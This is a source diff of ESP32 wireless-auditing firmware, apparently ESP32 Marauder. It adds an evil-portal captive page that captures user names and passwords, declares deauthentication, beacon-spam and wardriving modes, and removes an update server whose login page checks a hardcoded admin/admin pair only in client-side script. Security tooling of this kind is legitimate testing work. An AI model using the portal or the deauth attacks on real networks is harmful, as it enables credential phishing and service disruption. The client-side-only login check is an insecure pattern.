#ifdef HAS_SCREEN
#include "Display.h"
#include <LinkedList.h>
#endif
#ifndef WRITE_PACKETS_SERIAL
#include "SDInterface.h"
#else
#include "Buffer.h"
#endif
#include "lang_var.h"
extern Settings settings_obj;
#ifndef WRITE_PACKETS_SERIAL
extern SDInterface sd_obj;
#endif
#ifdef HAS_SCREEN
extern Display display_obj;
#endif
extern Buffer buffer_obj;
#define WAITING 0
#define GOOD 1
#define BAD 2
#define SET_HTML_CMD "sethtml="
#define SET_AP_CMD "setap="
#define RESET_CMD "reset"
#define START_CMD "start"
#define ACK_CMD "ack"
#define MAX_AP_NAME_SIZE 30
#define WIFI_SCAN_EVIL_PORTAL 30
char apName[MAX_AP_NAME_SIZE] = "PORTAL";
char index_html[MAX_HTML_SIZE] = "TEST";
struct ssid {
String essid;
uint8_t channel;
uint8_t bssid[6];
bool selected;
};
struct AccessPoint {
String essid;
uint8_t channel;
uint8_t bssid[6];
bool selected;
LinkedList<char>* beacon;
char rssi;
LinkedList<uint8_t>* stations;
};
class CaptiveRequestHandler : public AsyncWebHandler {
public:
CaptiveRequestHandler() {}
virtual ~CaptiveRequestHandler() {}
bool canHandle(AsyncWebServerRequest *request) { return true; }
void handleRequest(AsyncWebServerRequest *request) {
request->send_P(200, "text/html", index_html);
}
};
class EvilPortal {
private:
bool runServer;
bool name_received;
bool password_received;
String user_name;
String password;
bool has_html;
bool has_ap;
DNSServer dnsServer;
void (*resetFunction)(void) = 0;
bool setHtml();
bool setAP(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points);
void setupServer();
void startPortal();
void startAP();
void convertStringToUint8Array(const String& str, uint8_t*& buf, uint32_t& len);
void sendToDisplay(String msg);
public:
EvilPortal();
String get_user_name();
String get_password();
void addLog(String log, int len);
bool begin(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points);
void main(uint8_t scan_mode);
};
#endif

View File

@@ -0,0 +1,126 @@
#include "GpsInterface.h"
#ifdef HAS_GPS
char nmeaBuffer[100];
MicroNMEA nmea(nmeaBuffer, sizeof(nmeaBuffer));
HardwareSerial Serial2(GPS_SERIAL_INDEX);
void GpsInterface::begin() {
Serial2.begin(9600, SERIAL_8N1, GPS_TX, GPS_RX);
MicroNMEA::sendSentence(Serial2, "$PSTMSETPAR,1201,0x00000042");
MicroNMEA::sendSentence(Serial2, "$PSTMSAVEPAR");
MicroNMEA::sendSentence(Serial2, "$PSTMSRR");
delay(4000);
if (Serial2.available()) {
Serial.println("GPS Attached Successfully");
this->gps_enabled = true;
while (Serial2.available())
Serial2.read();
}
}
// Thanks JosephHewitt
String GpsInterface::dt_string_from_gps(){
//Return a datetime String using GPS data only.
String datetime = "";
if (nmea.isValid() && nmea.getYear() > 0){
datetime += nmea.getYear();
datetime += "-";
datetime += nmea.getMonth();
datetime += "-";
datetime += nmea.getDay();
datetime += " ";
datetime += nmea.getHour();
datetime += ":";
datetime += nmea.getMinute();
datetime += ":";
datetime += nmea.getSecond();
}
return datetime;
}
void GpsInterface::setGPSInfo() {
this->good_fix = nmea.isValid();
this->num_sats = nmea.getNumSatellites();
this->datetime = this->dt_string_from_gps();
this->lat = String((float)nmea.getLatitude()/1000000, 7);
this->lon = String((float)nmea.getLongitude()/1000000, 7);
long alt = 0;
if (!nmea.getAltitude(alt)){
alt = 0;
}
this->altf = (float)alt / 1000;
this->accuracy = 2.5 * ((float)nmea.getHDOP()/10);
//nmea.clear();
}
float GpsInterface::getAccuracy() {
return this->accuracy;
}
String GpsInterface::getLat() {
return this->lat;
}
String GpsInterface::getLon() {
return this->lon;
}
float GpsInterface::getAlt() {
return this->altf;
}
String GpsInterface::getDatetime() {
return this->datetime;
}
String GpsInterface::getNumSatsString() {
return (String)num_sats;
}
bool GpsInterface::getFixStatus() {
return this->good_fix;
}
String GpsInterface::getFixStatusAsString() {
if (this->getFixStatus())
return "Yes";
else
return "No";
}
bool GpsInterface::getGpsModuleStatus() {
return this->gps_enabled;
}
void GpsInterface::main() {
while (Serial2.available()) {
//Fetch the character one by one
char c = Serial2.read();
//Serial.print(c);
//Pass the character to the library
nmea.process(c);
}
uint8_t num_sat = nmea.getNumSatellites();
if ((nmea.isValid()) && (num_sat > 0))
this->setGPSInfo();
else if ((!nmea.isValid()) && (num_sat <= 0)) {
this->setGPSInfo();
}
}
#endif

View File

@@ -0,0 +1,39 @@
#ifndef GpsInterface_h
#define GpsInterface_h
#include <MicroNMEA.h>
#include "configs.h"
class GpsInterface {
public:
void begin();
void main();
String getNumSatsString();
bool getFixStatus();
String getFixStatusAsString();
bool getGpsModuleStatus();
String getLat();
String getLon();
float getAlt();
float getAccuracy();
String getDatetime();
private:
// GPS Info
String lat = "";
String lon = "";
float altf = 0.0;
float accuracy = 0.0;
String datetime = "";
bool gps_enabled = false;
bool good_fix = false;
uint8_t num_sats = 0;
String dt_string_from_gps();
void setGPSInfo();
};
#endif

View File

@@ -1,7 +1,7 @@
#include "LedInterface.h"
LedInterface::LedInterface() {
}
void LedInterface::RunSetup() {
@@ -33,6 +33,9 @@ void LedInterface::main(uint32_t currentTime) {
else if (this->current_mode == MODE_SNIFF) {
this->sniffLed();
}
else if (this->current_mode == MODE_CUSTOM) {
return;
}
else {
this->ledOff();
}
@@ -46,25 +49,27 @@ uint8_t LedInterface::getMode() {
return this->current_mode;
}
void LedInterface::setColor(int r, int g, int b) {
strip.setPixelColor(0, strip.Color(r, g, b));
strip.show();
}
void LedInterface::sniffLed() {
strip.setPixelColor(0, strip.Color(0, 0, 255));
strip.show();
this->setColor(0, 0, 255);
}
void LedInterface::attackLed() {
strip.setPixelColor(0, strip.Color(255, 0, 0));
strip.show();
this->setColor(255, 0, 0);
}
void LedInterface::ledOff() {
strip.setPixelColor(0, strip.Color(0, 0, 0));
strip.show();
this->setColor(0, 0, 0);
}
void LedInterface::rainbow() {
strip.setPixelColor(0, this->Wheel((0 * 256 / 100 + this->wheel_pos) % 256));
strip.show();
this->current_fade_itter++;
this->wheel_pos = this->wheel_pos - this->wheel_speed;
@@ -83,4 +88,4 @@ uint32_t LedInterface::Wheel(byte WheelPos) {
}
WheelPos -= 170;
return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);
}
}

View File

@@ -12,6 +12,7 @@
#define MODE_RAINBOW 1
#define MODE_ATTACK 2
#define MODE_SNIFF 3
#define MODE_CUSTOM 4
extern Settings settings_obj;
extern Adafruit_NeoPixel strip;
@@ -41,6 +42,7 @@ class LedInterface {
void main(uint32_t currentTime);
void setMode(uint8_t);
void setColor(int r, int g, int b);
uint8_t getMode();

File diff suppressed because it is too large Load Diff

View File

@@ -8,15 +8,11 @@
#define BATTERY_ANALOG_ON 0
#include "WiFiScan.h"
#include "Display.h"
#include "BatteryInterface.h"
#include "SDInterface.h"
#include "Web.h"
#include "esp_interface.h"
#include "a32u4_interface.h"
#include "settings.h"
#ifdef MARAUDER_MINI
#ifdef HAS_BUTTONS
#include <SwitchLib.h>
extern SwitchLib u_btn;
extern SwitchLib d_btn;
@@ -25,13 +21,9 @@
extern SwitchLib c_btn;
#endif
extern Display display_obj;
extern WiFiScan wifi_scan_obj;
extern Web web_obj;
extern SDInterface sd_obj;
extern BatteryInterface battery_obj;
extern EspInterface esp_obj;
extern A32u4Interface a32u4_obj;
extern Settings settings_obj;
#define FLASH_BUTTON 0
@@ -68,17 +60,15 @@ extern Settings settings_obj;
#define STATUS_BAT 22
#define STATUS_SD 23
#define PWNAGOTCHI 24
#define ESPRESSIF 25
#define SHUTDOWN 26
#define BEACON_LIST 27
#define GENERATE 28
#define CLEAR_ICO 29
#define KEYBOARD_ICO 30
#define JOIN_WIFI 31
#define ESP_UPDATE_ICO 32
#define BAD_USB_ICO 33
#define TEST_BAD_USB_ICO 34
#define LANGUAGE 35
#define SHUTDOWN 25
#define BEACON_LIST 26
#define GENERATE 27
#define CLEAR_ICO 28
#define KEYBOARD_ICO 29
#define JOIN_WIFI 30
#define LANGUAGE 31
#define STATUS_GPS 32
#define GPS_MENU 33
PROGMEM void my_disp_flush(lv_disp_drv_t *disp, const lv_area_t *area, lv_color_t *color_p);
PROGMEM bool my_touchpad_read(lv_indev_drv_t * indev_driver, lv_indev_data_t * data);
@@ -87,14 +77,10 @@ PROGMEM static lv_disp_buf_t disp_buf;
PROGMEM static lv_color_t buf[LV_HOR_RES_MAX * 10];
PROGMEM static void ta_event_cb(lv_obj_t * ta, lv_event_t event);
PROGMEM static void join_wifi_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
PROGMEM static void add_ssid_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
PROGMEM static void write_bad_usb_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
PROGMEM static void load_btn_cb(lv_obj_t * load_btn, lv_event_t event);
PROGMEM static void test_btn_cb(lv_obj_t * load_btn, lv_event_t event);
PROGMEM static void ap_list_cb(lv_obj_t * btn, lv_event_t event);
PROGMEM static void station_list_cb(lv_obj_t * btn, lv_event_t event);
PROGMEM static void setting_dropdown_cb(lv_obj_t * btn, lv_event_t event);
PROGMEM static void save_as_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
// lvgl stuff
PROGMEM static lv_obj_t *kb;
@@ -106,9 +92,9 @@ struct Menu;
struct MenuNode {
String name;
String command;
bool command;
uint16_t color;
int icon;
uint8_t icon;
TFT_eSPI_Button* button;
bool selected;
std::function<void()> callable;
@@ -131,7 +117,6 @@ class MenuFunctions
uint32_t initTime = 0;
//Menu* current_menu;
// Main menu stuff
Menu mainMenu;
@@ -139,14 +124,12 @@ class MenuFunctions
Menu wifiMenu;
Menu bluetoothMenu;
Menu badusbMenu;
Menu generalMenu;
Menu deviceMenu;
// Device menu stuff
Menu whichUpdateMenu;
Menu failedUpdateMenu;
Menu confirmMenu;
Menu espUpdateMenu;
Menu updateMenu;
Menu settingsMenu;
Menu specSettingMenu;
@@ -161,21 +144,15 @@ class MenuFunctions
// Bluetooth menu stuff
Menu bluetoothSnifferMenu;
Menu bluetoothGeneralMenu;
// Settings things menus
Menu shutdownWiFiMenu;
Menu shutdownBLEMenu;
Menu generateSSIDsMenu;
Menu clearSSIDsMenu;
Menu clearAPsMenu;
static void lv_tick_handler();
// Menu icons
//TFT_eSPI_Button key[BUTTON_ARRAY_LEN];
void addNodes(Menu* menu, String name, uint16_t color, Menu* child, int place, std::function<void()> callable, bool selected = false, String command = "");
void updateStatusBar();
@@ -192,6 +169,13 @@ class MenuFunctions
MenuFunctions();
Menu* current_menu;
Menu clearSSIDsMenu;
Menu clearAPsMenu;
#ifdef HAS_GPS
// GPS Menu
Menu gpsInfoMenu;
#endif
Ticker tick;
@@ -202,12 +186,9 @@ class MenuFunctions
void initLVGL();
void deinitLVGL();
void joinWiFiGFX();
void addSSIDGFX();
void addAPGFX();
void displaySettingsGFX();
void writeBadUSB();
void addStationGFX();
void buildButtons(Menu* menu, int starting_index = 0);
void changeMenu(Menu* menu);
void drawStatusBar();

View File

@@ -2,82 +2,130 @@
#include "lang_var.h"
bool SDInterface::initSD() {
String display_string = "";
#ifdef HAS_SD
String display_string = "";
#ifdef KIT
pinMode(SD_DET, INPUT);
if (digitalRead(SD_DET) == LOW) {
Serial.println(F("SD Card Detect Pin Detected"));
}
else {
Serial.println(F("SD Card Detect Pin Not Detected"));
#ifdef KIT
pinMode(SD_DET, INPUT);
if (digitalRead(SD_DET) == LOW) {
Serial.println(F("SD Card Detect Pin Detected"));
}
else {
Serial.println(F("SD Card Detect Pin Not Detected"));
this->supported = false;
return false;
}
#endif
pinMode(SD_CS, OUTPUT);
delay(10);
if (!SD.begin(SD_CS)) {
Serial.println(F("Failed to mount SD Card"));
this->supported = false;
return false;
}
#endif
else {
this->supported = true;
this->cardType = SD.cardType();
//if (cardType == CARD_MMC)
// Serial.println(F("SD: MMC Mounted"));
//else if(cardType == CARD_SD)
// Serial.println(F("SD: SDSC Mounted"));
//else if(cardType == CARD_SDHC)
// Serial.println(F("SD: SDHC Mounted"));
//else
// Serial.println(F("SD: UNKNOWN Card Mounted"));
pinMode(SD_CS, OUTPUT);
this->cardSizeMB = SD.cardSize() / (1024 * 1024);
//Serial.printf("SD Card Size: %lluMB\n", this->cardSizeMB);
delay(10);
if (this->supported) {
const int NUM_DIGITS = log10(this->cardSizeMB) + 1;
char sz[NUM_DIGITS + 1];
sz[NUM_DIGITS] = 0;
for ( size_t i = NUM_DIGITS; i--; this->cardSizeMB /= 10)
{
sz[i] = '0' + (this->cardSizeMB % 10);
display_string.concat((String)sz[i]);
}
if (!SD.begin(SD_CS)) {
Serial.println(F("Failed to mount SD Card"));
this->supported = false;
return false;
}
else {
this->supported = true;
this->cardType = SD.cardType();
//if (cardType == CARD_MMC)
// Serial.println(F("SD: MMC Mounted"));
//else if(cardType == CARD_SD)
// Serial.println(F("SD: SDSC Mounted"));
//else if(cardType == CARD_SDHC)
// Serial.println(F("SD: SDHC Mounted"));
//else
// Serial.println(F("SD: UNKNOWN Card Mounted"));
this->cardSizeMB = SD.cardSize() / (1024 * 1024);
//Serial.printf("SD Card Size: %lluMB\n", this->cardSizeMB);
if (this->supported) {
const int NUM_DIGITS = log10(this->cardSizeMB) + 1;
char sz[NUM_DIGITS + 1];
sz[NUM_DIGITS] = 0;
for ( size_t i = NUM_DIGITS; i--; this->cardSizeMB /= 10)
{
sz[i] = '0' + (this->cardSizeMB % 10);
display_string.concat((String)sz[i]);
this->card_sz = sz;
}
this->card_sz = sz;
}
buffer_obj = Buffer();
buffer_obj = Buffer();
if (!SD.exists("/SCRIPTS")) {
Serial.println("/SCRIPTS does not exist. Creating...");
if (!SD.exists("/SCRIPTS")) {
Serial.println("/SCRIPTS does not exist. Creating...");
SD.mkdir("/SCRIPTS");
Serial.println("/SCRIPTS created");
}
SD.mkdir("/SCRIPTS");
Serial.println("/SCRIPTS created");
}
return true;
return true;
}
#else
Serial.println("SD support disabled, skipping init");
return false;
#endif
}
File SDInterface::getFile(String path) {
if (this->supported) {
File file = SD.open(path, FILE_READ);
//if (file)
return file;
}
}
void SDInterface::addPacket(uint8_t* buf, uint32_t len) {
void SDInterface::listDir(String str_dir){
if (this->supported) {
File dir = SD.open(str_dir);
while (true)
{
File entry = dir.openNextFile();
if (! entry)
{
break;
}
//for (uint8_t i = 0; i < numTabs; i++)
//{
// Serial.print('\t');
//}
Serial.print(entry.name());
Serial.print("\t");
Serial.println(entry.size());
entry.close();
}
}
}
void SDInterface::addPacket(uint8_t* buf, uint32_t len, bool log) {
if ((this->supported) && (this->do_save)) {
buffer_obj.addPacket(buf, len);
buffer_obj.addPacket(buf, len, log);
}
}
void SDInterface::openCapture(String file_name) {
if (this->supported)
buffer_obj.open(&SD, file_name);
bool save_pcap = settings_obj.loadSetting<bool>("SavePCAP");
if ((this->supported) && (save_pcap)) {
buffer_obj.createPcapFile(&SD, file_name);
buffer_obj.open();
}
}
void SDInterface::openLog(String file_name) {
bool save_pcap = settings_obj.loadSetting<bool>("SavePCAP");
if ((this->supported) && (save_pcap)) {
buffer_obj.createPcapFile(&SD, file_name, true);
buffer_obj.open(true);
}
}
void SDInterface::runUpdate() {
@@ -97,7 +145,7 @@ void SDInterface::runUpdate() {
display_obj.tft.setTextColor(TFT_RED);
display_obj.tft.println(F(text_table2[0]));
#endif
Serial.println(F("Error, update.bin is not a file"));
Serial.println(F("Error, could not find \"update.bin\""));
#ifdef HAS_SCREEN
display_obj.tft.setTextColor(TFT_WHITE);
#endif
@@ -111,7 +159,7 @@ void SDInterface::runUpdate() {
#ifdef HAS_SCREEN
display_obj.tft.println(F(text_table2[1]));
#endif
Serial.println(F("Try to start update"));
Serial.println(F("Starting update over SD. Please wait..."));
this->performUpdate(updateBin, updateSize);
}
else {
@@ -226,4 +274,4 @@ void SDInterface::main() {
this->initSD();
}
}
}
}

View File

@@ -3,6 +3,7 @@
#include "configs.h"
#include "settings.h"
#include "SD.h"
#include "Buffer.h"
#ifdef HAS_SCREEN
@@ -11,6 +12,7 @@
#include <Update.h>
extern Buffer buffer_obj;
extern Settings settings_obj;
#ifdef HAS_SCREEN
extern Display display_obj;
#endif
@@ -37,8 +39,11 @@ class SDInterface {
bool initSD();
void addPacket(uint8_t* buf, uint32_t len);
void listDir(String str_dir);
File getFile(String path);
void addPacket(uint8_t* buf, uint32_t len, bool log = false);
void openCapture(String file_name = "");
void openLog(String file_name = "");
void runUpdate();
void performUpdate(Stream &updateSource, size_t updateSize);
void main();

View File

@@ -1,36 +0,0 @@
#include "TemperatureInterface.h"
#ifdef __cplusplus
extern "C" {
#endif
uint8_t temprature_sens_read();
#ifdef __cplusplus
}
#endif
uint8_t temprature_sens_read();
TemperatureInterface::TemperatureInterface() {
}
void TemperatureInterface::RunSetup() {
this->initTime = millis();
this->current_temp = this->getCurrentTemp();
}
uint8_t TemperatureInterface::getCurrentTemp() {
#ifndef MARAUDER_FLIPPER
return ((temprature_sens_read() - 32) / 1.8);
#endif
return 0;
}
void TemperatureInterface::main(uint32_t currentTime) {
if (currentTime != 0) {
if (currentTime - initTime >= 100) {
//Serial.println("Checking Battery Level");
this->initTime = millis();
this->current_temp = this->getCurrentTemp();
}
}
}

View File

@@ -1,24 +0,0 @@
#ifndef TemperatureInterface_h
#define TemperatureInterface_h
#include "configs.h"
#include <Arduino.h>
class TemperatureInterface {
private:
uint32_t initTime = 0;
public:
TemperatureInterface();
uint8_t current_temp = 0;
uint8_t old_temp = 0;
uint8_t getCurrentTemp();
void RunSetup();
void main(uint32_t currentTime);
};
#endif

View File

@@ -1,178 +0,0 @@
#include "Web.h"
#include "lang_var.h"
WebServer server(80);
Web::Web()
{
}
void Web::main()
{
// Notify if client has connected to the update server
int current_sta = WiFi.softAPgetStationNum();
if (current_sta < this->num_sta)
{
this->num_sta = current_sta;
Serial.print("Update server: Client disconnected -> ");
Serial.println(this->num_sta);
}
else if (current_sta > this->num_sta)
{
this->num_sta = current_sta;
Serial.print("Update server: Client connected -> ");
Serial.println(this->num_sta);
}
server.handleClient();
delay(1);
}
// Callback for the embedded jquery.min.js page
void Web::onJavaScript(void) {
Serial.println("onJavaScript(void)");
server.setContentLength(jquery_min_js_v3_2_1_gz_len);
server.sendHeader(F("Content-Encoding"), F("gzip"));
server.send_P(200, "text/javascript", jquery_min_js_v3_2_1_gz, jquery_min_js_v3_2_1_gz_len);
}
void Web::setupOTAupdate()
{
uint8_t newMACAddress[] = {0x06, 0x07, 0x0D, 0x09, 0x0E, 0x0D};
#ifdef HAS_SCREEN
display_obj.tft.setTextWrap(false);
display_obj.tft.setFreeFont(NULL);
display_obj.tft.setCursor(0, 100);
display_obj.tft.setTextSize(1);
display_obj.tft.setTextColor(TFT_WHITE);
#endif
Serial.println(wifi_scan_obj.freeRAM());
#ifdef HAS_SCREEN
display_obj.tft.print(text_table3[0]);
#endif
Serial.println("Configuring update server...");
#ifdef HAS_SCREEN
display_obj.tft.setTextColor(TFT_YELLOW);
#endif
// Start WiFi AP
Serial.println("Initializing WiFi...");
//wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
esp_wifi_init(&wifi_scan_obj.cfg);
//esp_wifi_set_storage(WIFI_STORAGE_RAM);
if (esp_wifi_set_storage(WIFI_STORAGE_FLASH) != ESP_OK)
Serial.println("Could not set WiFi Storage!");
esp_wifi_set_mode(WIFI_MODE_NULL);
esp_wifi_start();
Serial.println(wifi_scan_obj.freeRAM());
Serial.println("Starting softAP...");
esp_wifi_set_mac(WIFI_IF_AP, &newMACAddress[0]);
WiFi.softAP(ssid, password);
Serial.println("");
Serial.println(wifi_scan_obj.freeRAM());
Serial.println("Displaying settings to TFT...");
#ifdef HAS_SCREEN
display_obj.tft.print(text_table1[2]);
display_obj.tft.println(ssid);
display_obj.tft.print(text_table3[1]);
display_obj.tft.print(WiFi.softAPIP());
display_obj.tft.print("\n");
#endif
Serial.print("IP address: ");
Serial.println(WiFi.softAPIP());
// return javascript jquery
Serial.println("Setting server behavior...");
Serial.println(wifi_scan_obj.freeRAM());
server.on("/jquery.min.js", HTTP_GET, onJavaScript);
/*return index page which is stored in serverIndex */
server.on("/", HTTP_GET, [this]() {
server.sendHeader("Connection", "close");
server.send(200, "text/html", loginIndex);
});
server.on("/serverIndex", HTTP_GET, [this]() {
server.sendHeader("Connection", "close");
server.send(200, "text/html", serverIndex);
});
/*handling uploading firmware file */
server.on("/update", HTTP_POST, [this]() {
server.sendHeader("Connection", "close");
server.send(200, "text/plain", (Update.hasError()) ? "FAIL" : "OK");
ESP.restart();
}, [this]() {
HTTPUpload& upload = server.upload();
if (upload.status == UPLOAD_FILE_START) {
#ifdef HAS_SCREEN
display_obj.tft.setTextColor(TFT_YELLOW);
display_obj.tft.print(text_table3[2]);
display_obj.tft.print(upload.filename.c_str());
display_obj.tft.print("\n");
#endif
Serial.printf("Update: %s\n", upload.filename.c_str());
if (!Update.begin(UPDATE_SIZE_UNKNOWN)) { //start with max available size
Update.printError(Serial);
}
} else if (upload.status == UPLOAD_FILE_WRITE) {
/* flashing firmware to ESP*/
if (Update.write(upload.buf, upload.currentSize) != upload.currentSize) {
Update.printError(Serial);
}
#ifdef HAS_SCREEN
display_obj.tft.setTextColor(TFT_CYAN);
display_obj.tft.fillRect(0, 164, 240, 8, TFT_BLACK);
display_obj.tft.setCursor(0, 164);
display_obj.tft.print(text_table3[3]);
display_obj.tft.print(upload.totalSize);
display_obj.tft.print("\n");
#endif
} else if (upload.status == UPLOAD_FILE_END) {
if (Update.end(true)) { //true to set the size to the current progress
#ifdef HAS_SCREEN
display_obj.tft.setTextColor(TFT_GREEN);
display_obj.tft.print(text_table3[4]);
display_obj.tft.print(upload.totalSize);
display_obj.tft.print(text_table2[3]);
#endif
Serial.printf("Update Success: %u\nRebooting...\n", upload.totalSize);
delay(1000);
} else {
Update.printError(Serial);
}
}
});
Serial.println("Finished setting server behavior");
Serial.println(wifi_scan_obj.freeRAM());
Serial.println("Starting server...");
server.begin();
#ifdef HAS_SCREEN
display_obj.tft.setTextColor(TFT_GREEN);
display_obj.tft.println(text_table3[5]);
#endif
Serial.println("Completed update server setup");
Serial.println(wifi_scan_obj.freeRAM());
}
void Web::shutdownServer() {
Serial.println("Closing Update Server...");
server.stop();
WiFi.mode(WIFI_OFF);
esp_wifi_set_mode(WIFI_MODE_NULL);
esp_wifi_stop();
esp_wifi_deinit();
Serial.println(wifi_scan_obj.freeRAM());
}

View File

@@ -1,141 +0,0 @@
#ifndef Web_h
#define Web_h
/*
Code taken from espressif ESP32 OTA Update example
*/
#include "configs.h"
#include <WiFi.h>
#include <WiFiClient.h>
#include <WebServer.h>
#include <ESPmDNS.h>
#include <Update.h>
#include "Assets.h"
#ifdef HAS_SCREEN
#include "Display.h"
#endif
#include "WiFiScan.h"
#ifdef HAS_SCREEN
extern Display display_obj;
#endif
extern WiFiScan wifi_scan_obj;
class Web
{
private:
PROGMEM const char* host = "esp32marauder";
PROGMEM const char* ssid = "MarauderOTA";
PROGMEM const char* password = "justcallmekoko";
bool serving = false;
int num_sta = 0;
PROGMEM const char* loginIndex =
"<form name='loginForm'>"
"<table width='20%' bgcolor='A09F9F' align='center'>"
"<tr>"
"<td colspan=2>"
"<center><font size=4><b>ESP32 Login Page</b></font></center>"
"<br>"
"</td>"
"<br>"
"<br>"
"</tr>"
"<td>Username:</td>"
"<td><input type='text' size=25 name='userid'><br></td>"
"</tr>"
"<br>"
"<br>"
"<tr>"
"<td>Password:</td>"
"<td><input type='Password' size=25 name='pwd'><br></td>"
"<br>"
"<br>"
"</tr>"
"<tr>"
"<td><input type='submit' onclick='check(this.form)' value='Login'></td>"
"</tr>"
"</table>"
"</form>"
"<script>"
"function check(form)"
"{"
"if(form.userid.value=='admin' && form.pwd.value=='admin')"
"{"
"window.open('/serverIndex')"
"}"
"else"
"{"
" alert('Error Password or Username')/*displays error message*/"
"}"
"}"
"</script>";
/*
* Server Index Page
*/
PROGMEM const char* serverIndex =
"<script src='/jquery.min.js'></script>"
"Because the lack of an asynchronous webserver in this Arduino sketch like 'ESPAsyncWebServer', <br/>"
"both file 'serverIndex' and 'jquery.min.js' can't be read from the webserver at the same time. <br/><br/>"
"Your web browser probably requests those two files simultaneously and therefore <br/>"
"the javascript file failed to load. By a refresh of this page, the browser cash has already <br/>"
"load 'serverIndex' file, the web browser will do a second attempt to only read the javascript file. <br/>"
"This second attempt, with an idle webserver, will be processed.<br/><br/>"
"Long story short, press F5 (refresh web browser) before uploading your firmware. <br/><br/>"
"<form method='POST' action='#' enctype='multipart/form-data' id='upload_form'>"
"<input type='file' name='update'>"
"<input type='submit' value='Update'>"
"</form>"
"<div id='prg'>progress: 0%</div>"
"<script>"
"$('form').submit(function(e){"
"e.preventDefault();"
"var form = $('#upload_form')[0];"
"var data = new FormData(form);"
" $.ajax({"
"url: '/update',"
"type: 'POST',"
"data: data,"
"contentType: false,"
"processData:false,"
"xhr: function() {"
"var xhr = new window.XMLHttpRequest();"
"xhr.upload.addEventListener('progress', function(evt) {"
"if (evt.lengthComputable) {"
"var per = evt.loaded / evt.total;"
"$('#prg').html('progress: ' + Math.round(per*100) + '%');"
"}"
"}, false);"
"return xhr;"
"},"
"success:function(d, s) {"
"console.log('success!')"
"},"
"error: function (a, b, c) {"
"}"
"});"
"});"
"</script>";
public:
Web();
void main();
PROGMEM static void onJavaScript();
void setupOTAupdate();
void shutdownServer();
};
#endif

File diff suppressed because it is too large Load Diff

View File

@@ -3,18 +3,14 @@
#include "configs.h"
//#include <BLEDevice.h>
//#include <BLEUtils.h>
//#include <BLEScan.h>
//#include <BLEAdvertisedDevice.h>
#include <ArduinoJson.h>
// Testing NimBLE
#ifdef HAS_BT
#include <NimBLEDevice.h>
#endif
#include <WiFi.h>
#include "EvilPortal.h"
#include <math.h>
#include "esp_wifi.h"
#include "esp_wifi_types.h"
@@ -24,15 +20,25 @@
#ifdef HAS_SCREEN
#include "Display.h"
#endif
#include "SDInterface.h"
#ifdef HAS_SD
#include "SDInterface.h"
#endif
#include "Buffer.h"
#include "BatteryInterface.h"
#include "TemperatureInterface.h"
#ifdef HAS_BATTERY
#include "BatteryInterface.h"
#endif
#ifdef HAS_GPS
#include "GpsInterface.h"
#endif
#include "settings.h"
#include "Assets.h"
#include "flipperLED.h"
#include "LedInterface.h"
//#include "MenuFunctions.h"
#ifdef MARAUDER_FLIPPER
#include "flipperLED.h"
#elif defined(XIAO_ESP32_S3)
#include "xiaoLED.h"
#else
#include "LedInterface.h"
#endif
#define bad_list_length 3
@@ -65,45 +71,80 @@
#define WIFI_SCAN_ACTIVE_EAPOL 23
#define WIFI_ATTACK_DEAUTH_MANUAL 24
#define WIFI_SCAN_RAW_CAPTURE 25
#define WIFI_SCAN_STATION 26
#define WIFI_ATTACK_DEAUTH_TARGETED 27
#define WIFI_SCAN_ACTIVE_LIST_EAPOL 28
#define WIFI_SCAN_SIG_STREN 29
#define WIFI_SCAN_EVIL_PORTAL 30
#define WIFI_SCAN_GPS_DATA 31
#define WIFI_SCAN_WAR_DRIVE 32
#define GRAPH_REFRESH 100
#define MAX_CHANNEL 14
extern EvilPortal evil_portal_obj;
#ifdef HAS_SCREEN
extern Display display_obj;
#endif
extern SDInterface sd_obj;
#ifdef HAS_SD
extern SDInterface sd_obj;
#endif
#ifdef HAS_GPS
extern GpsInterface gps_obj;
#endif
extern Buffer buffer_obj;
extern BatteryInterface battery_obj;
extern TemperatureInterface temp_obj;
#ifdef HAS_BATTERY
extern BatteryInterface battery_obj;
#endif
extern Settings settings_obj;
extern flipperLED flipper_led;
extern LedInterface led_obj;
#ifdef MARAUDER_FLIPPER
extern flipperLED flipper_led;
#elif defined(XIAO_ESP32_S3)
extern xiaoLED xiao_led;
#else
extern LedInterface led_obj;
#endif
esp_err_t esp_wifi_80211_tx(wifi_interface_t ifx, const void *buffer, int len, bool en_sys_seq);
//int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3);
struct ssid {
/*struct ssid {
String essid;
uint8_t channel;
int bssid[6];
bool selected;
};
};*/
struct AccessPoint {
/*struct AccessPoint {
String essid;
int channel;
int bssid[6];
bool selected;
LinkedList<char>* beacon;
int rssi;
LinkedList<int>* stations;
};*/
struct mac_addr {
unsigned char bytes[6];
};
struct Station {
uint8_t mac[6];
bool selected;
};
class WiFiScan
{
private:
// Wardriver thanks to https://github.com/JosephHewitt
struct mac_addr mac_history[mac_history_len];
// Settings
int channel_hop_delay = 1;
uint mac_history_cursor = 0;
uint8_t channel_hop_delay = 1;
bool force_pmkid = false;
bool force_probe = false;
bool save_pcap = false;
@@ -130,7 +171,7 @@ class WiFiScan
uint32_t initTime = 0;
bool run_setup = true;
void initWiFi(uint8_t scan_mode);
int bluetoothScanTime = 5;
uint8_t bluetoothScanTime = 5;
int packets_sent = 0;
const wifi_promiscuous_filter_t filt = {.filter_mask=WIFI_PROMIS_FILTER_MASK_MGMT | WIFI_PROMIS_FILTER_MASK_DATA};
#ifdef HAS_BT
@@ -138,9 +179,9 @@ class WiFiScan
#endif
//String connected_network = "";
String alfa = "1234567890qwertyuiopasdfghjkklzxcvbnm QWERTYUIOPASDFGHJKLZXCVBNM_";
const String alfa = "1234567890qwertyuiopasdfghjkklzxcvbnm QWERTYUIOPASDFGHJKLZXCVBNM_";
char* rick_roll[8] = {
const char* rick_roll[8] = {
"01 Never gonna give you up",
"02 Never gonna let you down",
"03 Never gonna run around",
@@ -182,32 +223,6 @@ class WiFiScan
/*36*/ 0x00
};
/*uint8_t auth_packet[128] = {0xB0, 0x00, 0x3C, 0x00, // Frame Control, Duration
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Dest
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
